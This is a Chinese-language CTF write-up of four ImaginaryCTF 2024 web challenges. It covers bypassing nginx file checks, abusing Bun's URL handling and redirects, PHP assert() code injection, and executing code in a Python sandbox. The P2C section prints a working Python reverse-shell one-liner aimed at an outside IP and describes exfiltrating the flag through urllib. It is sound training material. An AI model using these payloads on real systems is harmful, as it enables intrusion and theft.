2024ImaginaryCtf-WEB复盘

靶场链接:https://2024.imaginaryctf.org/

官方WP指路:https://github.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/tree/main/Web

readme

(100 pts) - 978 solves by maple3142

Description

Try to read the flag.txt file.

附件:点击下载附件

先看dockerfile(虽然flag在这边露出来了),这是个node后端+nginx的配置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
FROM node:20-bookworm-slim

RUN apt-get update \
&& apt-get install -y nginx tini \
&& apt-get clean \
&& rm -rf /var/lib/apt/lists/* /tmp/* /var/tmp/*

WORKDIR /app
COPY package.json yarn.lock ./
RUN yarn install --frozen-lockfile
COPY src ./src
COPY public ./public

COPY default.conf /etc/nginx/sites-available/default
COPY start.sh /start.sh

ENV FLAG="ictf{path_normalization_to_the_rescue}"

ENTRYPOINT ["/usr/bin/tini", "--"]
CMD ["/start.sh"]

可以知道flag放置在/app/public文件夹下,然后几个比较关键的文件

default.conf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
server {
listen 80 default_server;
listen [::]:80;
root /app/public;

location / {
#检测url是否在/app/public文件夹下存在这个文件,如果存在返回404
if (-f $request_filename) {
return 404;
}
proxy_pass http://localhost:8000;
}
}

/src/app.js

1
2
3
4
5
6
7
const express = require('express')
const path = require('path')

const app = express()
app.use(express.static(path.join(__dirname, '../public')))
app.listen(8000)

所以这道题目很明显的目的就是要绕过nginx的文件检测if (-f $request_filename),但要在node的这个web程序中能被读取

一通乱尝试

e7612c577daeb5ab6286268d090b6127

原理分析

readme2

(249 pts) - 56 solves by maple3142

Description

Try to read the flag.txt file, again!

附件:点击下载附件

ok这题不是自己想出来的,以后一定好好看官方文档,原文指路:readme2 | siunam’s Website

附件里的内容很简单,从dockerfile可以知道是使用bun.js起的后端服务

什么是bun?Bun — A fast all-in-one JavaScript runtime

app.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
const flag = process.env.FLAG || 'ictf{this_is_a_fake_flag}'

Bun.serve({
async fetch(req) {
const url = new URL(req.url)
if (url.pathname === '/') return new Response('Hello, World!')
if (url.pathname.startsWith('/flag.txt')) return new Response(flag)
return new Response(`404 Not Found: ${url.pathname}`, { status: 404 })
},
port: 3000
})

Bun.serve({
async fetch(req) {
if (req.url.includes('flag')) return new Response('Nope', { status: 403 })
const headerContainsFlag = [...req.headers.entries()].some(([k, v]) => k.includes('flag') || v.includes('flag'))
if (headerContainsFlag) return new Response('Nope', { status: 403 })
const url = new URL(req.url)
if (url.href.includes('flag')) return new Response('Nope', { status: 403 })
return fetch(new URL(url.pathname + url.search, 'http://localhost:3000/'), {
method: req.method,
headers: req.headers,
body: req.body
})
},
port: 4000 // only this port are exposed to the public
})

app.js可以知道后端起了两个服务,对外开放的是4000端口,很明显想要拿到flag,最终需要通过4000端口,访问到3000端口,且url开头以flag.txt

思路一: 利用host

最开始尝试想能不能利用请求头host,并通过/..最终绕过检测,发现

image-20240727233107973

image-20240727233223182

特性1: 自动处理/..穿梭至上一级url处

传入

image-20240728013859135

会发现双/test消失,原因为第1次传入后,url由于有..所以,所以第一次的url的pathname部分只剩下/,如下图

image-20240728014228713

特性2: url属性是请求包host+get参数的结果

最终传入3000端口的url的pathname变成了/test/test

image-20240727233107973

原因:通过代码最后一段可以发现

1
2
3
4
5
return fetch(new URL(url.pathname + url.search, 'http://localhost:3000/'), {
method: req.method,
headers: req.headers,
body: req.body
})

host被原样传入,由于

1
2
const url = new URL(req.url)
new URL(url.pathname + url.search, 'http://localhost:3000/')

但此时url的pathname处以及有了一个/test所以最后pathname出现双/test

特性3:通过拼接的url会自动省略 \t(tab键)

发送的请求包如下

image-20240728015332102

在传入后获得的url为

image-20240728015500581

发现\t被自动忽略了

由于在对于/..的处理是在程序运行前,所以可以进行搭配

image-20240728020017631

分析一波

第一次传入后,url为localhost:8100/flag.txt/..(\t被自动省略),此时还会自动处理/..,所以第一次的url为localhost:8100/,host中的\t不会被自动忽略,所以第一次检测的所有部分都不含有flag,且通过req.url出的url也不含flag

1
2
3
4
5
if (req.url.includes('flag')) return new Response('Nope', { status: 403 })
const headerContainsFlag = [...req.headers.entries()].some(([k, v]) => k.includes('flag') || v.includes('flag'))
if (headerContainsFlag) return new Response('Nope', { status: 403 })
const url = new URL(req.url)
if (url.href.includes('flag')) return new Response('Nope', { status: 403 })

但由于

1
2
3
4
5
return fetch(new URL(url.pathname + url.search, 'http://localhost:3000/'), {
method: req.method,
headers: req.headers,
body: req.body
})

此时host会原封不动的传给3000端口,此时url变为http://localhost:3000/flag.txt/,满足获得flag的条件

即可获得flag

思路二: 利用URL api

这里实际可以利用的地方就是调用的URL api(文档指路:URL - Web API | MDN (mozilla.org)),破坏原本的url,将http://localhost:3000/修改为自定义的网址,发现fetch()是会跟随重定向的,再利用302重定向至http://localhost:3000/flag.txt

起一个简单的重定向服务

1
2
3
<?php
header("Location: http://localhost:3000/flag.txt")
?>

用法一:

这里有个比较特殊的用法就是

1
2
new URL("//foo.com", "https://example.com");
// => 'https://foo.com/'(见相对 URL)

即我们最终在

1
2
3
4
5
return fetch(new URL(url.pathname + url.search, 'http://localhost:3000/'), {
method: req.method,
headers: req.headers,
body: req.body
})

url.pathname 要以//开头,尝试直接以//传入,发现是可行的c270631a0ef222268d0c80099c4b72af

image-20240727162952833

用法二:

1
2
new URL("http://www.example.com", "https://developer.mozilla.org");
// => 'http://www.example.com/'

使用这种方法,需要绕过http的固定格式

1
GET /urlpart HTTP/1.1

不能出现/,而且服务端不能报错,在discord上找到了这种方法

具体原理的话,需要看bun框架对url参数的处理方式

image-20240728022113792

即最后的请求包为

image-20240728022457014

可以看到url的pathname部分并没有/开头

image-20240728022540214

journal-dist

(100 pts) - 518 solves by Eth007

Description

dear diary, there is no LFI in this app

附件:点击下载附件

源码比较短

1
2
3
4
5
6
7
8
9
10
11
12
if (isset($_GET['file'])) {
$file = $_GET['file'];
$filepath = './files/' . $file;

assert("strpos('$file', '..') === false") or die("Invalid file!");

if (file_exists($filepath)) {
include($filepath);
} else {
echo 'File not found!';
}
}

能导致漏洞的就是assert("strpos('$file', '..') === false"),由于采用字符串凭借,所以assert()函数(官方文档指路:PHP: assert - Manual)中执行的代码基本上是可控的

image-20240728134010620

1
2
3
4
root@2419de65327b:/var/www/html# php -v
PHP 7.4.33 (cli) (built: Nov 15 2022 06:03:30) ( NTS )
Copyright (c) The PHP Group
Zend Engine v3.4.0, Copyright (c) Zend Technologies

经过测试发现,在此版本中确实被php代码执行,但由于strpos()有返回值了,所以需要在strpos()中进行拼接,最后playload

0c997be916d7493419331d129c081b49

P2C

(100 pts) - 247 solves by FIREPONY57

Description

Welcome to Python 2 Color, the world’s best color picker from python code!

附件:点击下载附件

重点就是这个函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
def xec(code):
code = code.strip()
indented = "\n".join([" " + line for line in code.strip().splitlines()])

file = f"/tmp/uploads/code_{md5(code.encode()).hexdigest()}.py"
with open(file, 'w') as f:
f.write("def main():\n")
f.write(indented)
f.write("""\nfrom parse import rgb_parse
print(rgb_parse(main()))""")

os.system(f"chmod 755 {file}")

try:
res = subprocess.run(["sudo", "-u", "user", "python3", file], capture_output=True, text=True, check=True, timeout=0.1)
output = res.stdout
except Exception as e:
output = None

os.remove(file)

return output

简单来说就是根据输入的code,最后生成一个,如下格式的py文件

1
2
3
4
def main():
#input code
from parse import rgb_parse
print(rgb_parse(main()))

rgb_parse()函数定义中parse.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
def rgb_parse(inp=""):
inp = str(inp)
randomizer = random.randint(100, 1000)
total = 0
for n in inp:
n = ord(n)
total += n+random.randint(1, 10)
rgb = total*randomizer*random.randint(100, 1000)
rgb = str(rgb%1000000000)
r = int(rgb[0:3]) + 29
g = int(rgb[3:6]) + random.randint(10, 100)
b = int(rgb[6:9]) + 49
r, g, b = r%256, g%256, b%256
return r, g, b

思路一: 反弹Shell

1
res = subprocess.run(["sudo", "-u", "user", "python3", file], capture_output=True, text=True, check=True, timeout=0.1)

最开始看到timeout=0.1还以为python与php一样,执行子进程的时间算作整体时间,0.1秒反弹出shell好像并没有啥用,实际上是可以反弹出shell,timeout=0.1对反弹shell并没有影响

去hacktools里生成一个python的反弹shell语句

image-20240729012746191

1
python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("1.1.1.1",8077));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")'

贴上去

image-20240729012929786

虽然页面会报500错误

image-20240729012624771

成功反弹到shell

image-20240729012558399

思路二: 利用urllib

这个思路就是直接读取文件,然后因为系统命令行中没有curl命令使用,且没有requests库,但可以依靠原生的urllib库,将flag外带出来

image-20240729014153989

虽然也500,但最终也是拿到了flag

image-20240729014234275

思路三: 利用random.seed

这种是官方的WP中的解法,这里讲一下思路

链接指路:https://github.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/blob/main/Web/p2c/challenge/solve.py

random库在设置seed后,random.randint()范围确定时,生成的值为固定的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import random

def main():
random.seed(1)

if __name__ == "__main__":
main()
print(random.randint(100, 1000))

PS F:\CTF File\imaginaryctf\p2c_release>
237
PS F:\CTF File\imaginaryctf\p2c_release>
237
PS F:\CTF File\imaginaryctf\p2c_release>
237
PS F:\CTF File\imaginaryctf\p2c_release>
237
PS F:\CTF File\imaginaryctf\p2c_release>
237
PS F:\CTF File\imaginaryctf\p2c_release>
237

且函数中rgb_parse(inp="")inp值为可控的,我们需要将其固定,此时我们可以控制random.seed()的值,每个不同值通过rgb_parse(),此时return的值不再是变化的而是一个固定的值

random.seed()的值为flag字符的中的逐个字符,这样变量只有flag的每个字符,在本地根据return的rgb算法跑一边彩虹表,也就是官方题解中的

1
lookup = {rgb_parse(i, "aaa"):i for i in range(256)}

最终每个rgb根据彩虹表的映射关系,还原为原本的字符